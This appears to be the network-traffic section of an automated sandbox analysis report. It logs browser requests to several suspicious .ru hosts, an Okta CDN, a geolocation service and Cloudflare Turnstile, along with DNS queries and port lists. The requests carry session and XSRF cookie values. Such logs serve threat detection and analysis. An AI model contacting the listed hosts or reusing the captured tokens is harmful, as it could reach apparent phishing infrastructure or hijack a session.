Source: global traffic	HTTP traffic detected: GET /klt5HClA9r3rInXOW55CCxGwczDAZBUwPQThkwx183kZaMR3FkLdr78169 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yz46pLUD00kizHYnnU6bof7bcAirsvdWRIwJmSlYfP7x0LZR90180 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghAbPLuVWKAPK1MpTYpJTToVl3lrrmnOyjWS2oiClbe20Y5DYBEWGpef209 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stNPXmdKQocuHxRwNF8NI8G79SRSOmnWO3iAAp3xltq1AgaMB1ZgnzthM97kWmKjnhhckgh260 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRyNmFwdmZZVGpka1hJMWpMOHFRV1E9PSIsInZhbHVlIjoiemhOM0dYU3FYRUNZSHRqQSt5ZzVpc2Z3dllTMWhyWHgxaHNwUHpPZm83dkhpNm45dzhHRDZJaGpabi96NzNSTnFIUGcxSkljcWpHTzNtWjkrK1RBSnEyNEoxTmZKTXpwQ1pJNHB5K3pwM3Fjc1hzb0NybEdRSzJhN3REUFdjQ2YiLCJtYWMiOiI1ZDM3YmM1ZTQ5ZmNmMDVkMmU5NDdlYTcwOWMxNzFhNmVmNDNlOTVjNjg2NGVhMjliNWE3ZGY0OThkZWM3MGIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjliQVpKWHlBN1BCUDBCNjlWR1pFa3c9PSIsInZhbHVlIjoiM0RuWWlWbjZhTUVwQVZrd0xjOTVOSzRHVGlLZGFzSXNUbTRJSEloNHFDZURPQWtLa3hoTHJKMG1PSFJSRDZhQndSdUxYbFpUclYvZlVBNE44bCt3bnhxV21yTmx0L1cxUlVqcE5BY1QxZnozb2ZXR2ZQK095bm5RbU1sTjNCWFoiLCJtYWMiOiJlZmQzMDIyODFhYTQ5OWU3NzRhYzQxMTkzMTU3OTc5NDA0ZmNjN2I0NDllNTQxOTNiMDM2Mzc3OTI5NmI5YjI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGrsFBZ5wlGhyzcjnPuwx40 HTTP/1.1Host: eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNadnQ5R2NxalY0VUJ3bWhyb2t1RUE9PSIsInZhbHVlIjoiazFabWREZi8vQWdXZEhXaVpRdkpzby9SaHozTVFwaTBrRFppTndLTE9uVFdYTERxeDVWYktXR2dHSTdBS2p6Wm9zbExpaGZpQ1hmaEd1eWxZbVhsK241VnFUUGhnSW9QWHBHbDZVVGFIekVMR1gzSXowQkw0UFUrRW5EMzNVTnAiLCJtYWMiOiJlMTgzYzE5MzllM2MwMmNiNjQ4NWQzNWZkYTQ3YTM1ZTAzZDQxODgwZjBmOGEwN2Y5OTlkNzY5M2JiZmQwMzU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkVMeVM1Zm9uQTJjbmJjWlRyVzBmTFE9PSIsInZhbHVlIjoiL0p5NWozWXpHMjZWTi84Z1RrNkhNV05HSTB2eVRwRTBDNHQxeFNyVUxtdkoxL1ZUdjA4b1hXWnpDRlZkNUFBSFFOTDNrQllLS0Q0VW5QUFR1OTFpcGN1djhOSm1kSGlkdmE5VkhsaTJvTjU3ZnhzK0l5WWlhREJPTGZvN1Q3STgiLCJtYWMiOiIwMmE5YzIyNjI3MTNiOTI5Y2Q3NjJjMTYyNWY5M2JlZDY2NGMxNzhmMDljM2FhYzQwYjM0M2EyZjQzMjg4ZmYwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzeQRropiX4IMyqi56dpxKseeqr46 HTTP/1.1Host: eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzGGZycaag4Dhp56z10pmqr50 HTTP/1.1Host: eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzjfEJb1SkKo7jmd56H7kEop50 HTTP/1.1Host: eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ojjk.threaw.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bkh8y.hxnywi.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3407sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3xcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 15:27:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ERPFwPkgCMvd7WOrRrsFvR1JpWEC%2BSvtm7Ezr7RAZEufKVzB0pHv2Ym%2FdEzUd3n5IqcKP17OFWDQUIHwJnUouZesZwbHbc4hzg4KqxUfcAE23OuON14DmoZTuP39"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1174&min_rtt=1082&rtt_var=472&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2035&delivery_rate=2676524&cwnd=252&unsent_bytes=0&cid=fbf315e371f2fc03&ts=82&x=0"Server: cloudflareCF-RAY: 925f6eb42921adca-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105507&min_rtt=104662&rtt_var=22940&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1702&delivery_rate=35584&cwnd=252&unsent_bytes=0&cid=06aabcd1f1beaa41&ts=603&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 15:27:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BNabfeuUIocKC93H1Lp6GEu2yZTC%2F9MAVgT8t5NF3sFbkOiZjQflMU6MFrsJxhlk09JNjVQ1sU15CxYfnrCVydF7pYJZmNycABcPIDQ%2FFW50MeMnP%2FrAJacxLJ9g"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=40058&min_rtt=39952&rtt_var=15195&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2226&delivery_rate=70973&cwnd=108&unsent_bytes=0&cid=95e0ebccaef598ee&ts=173&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 925f6eb939397cf6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105398&min_rtt=104628&rtt_var=22856&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1893&delivery_rate=35596&cwnd=234&unsent_bytes=0&cid=100d68d0db15b82b&ts=729&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 15:27:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzCx7FUXILDRQpROuEEaC5cXDi52eH7lbqr1Z2EHyuzoHL7gRy1pzzRTtZR5mbVY5nwMrVJHNJO%2FMFu3eW8sbU%2BYSeDiNCPzB5NBdMkfOSrXs%2F9idWHIOnpVQ6hG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=39462&min_rtt=39165&rtt_var=14899&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2053&delivery_rate=73943&cwnd=251&unsent_bytes=0&cid=e5d2900b1449ebc9&ts=167&x=0"Server: cloudflareCF-RAY: 925f6ebe1be64316-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=106442&min_rtt=105301&rtt_var=23389&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1719&delivery_rate=35369&cwnd=242&unsent_bytes=0&cid=8c2690e3eadb3958&ts=773&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 15:27:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R%2B1Gp2uOXvPVC0uP%2FFSHeeJrgGXgjLkZk02IgfUZE75PK%2F9MpQEQYVeKCUkH%2B3OxciJnLyWxVKDjcnRXsCshavDKabqDgxQhy6Bxxvvjva2ADEPoF7vi5%2F1ollke"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=37860&min_rtt=37848&rtt_var=14218&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2052&delivery_rate=76310&cwnd=38&unsent_bytes=0&cid=d205493e8d4a93eb&ts=120&x=0"Server: cloudflareCF-RAY: 925f6ede3e191dcc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105759&min_rtt=105659&rtt_var=22393&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1719&delivery_rate=35177&cwnd=247&unsent_bytes=0&cid=bd25d235aabe2270&ts=738&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 15:27:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f4zMNf4524GAl517bNPNbgOWwIGLidAWAn0d6mtSVbE95tVjIihe8YLAY%2FBdK1WDSF6qCgTrCgooSxxtL3fH5jtXxw7sBt2zbFyvG2EkXcgXe1xipSArvqdPAxp5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=52926&min_rtt=42052&rtt_var=23537&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2051&delivery_rate=68867&cwnd=251&unsent_bytes=0&cid=6e7a5a65cd0bfbed&ts=120&x=0"Server: cloudflareCF-RAY: 925f6f2d6ce18c33-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=106911&min_rtt=105000&rtt_var=23840&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4059&recv_bytes=1719&delivery_rate=9184&cwnd=226&unsent_bytes=0&cid=caac9752cf2f055c&ts=875&x=0"

Source: chromecache_117.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_117.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_90.1.dr	String found in binary or memory: https://www.walmart.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
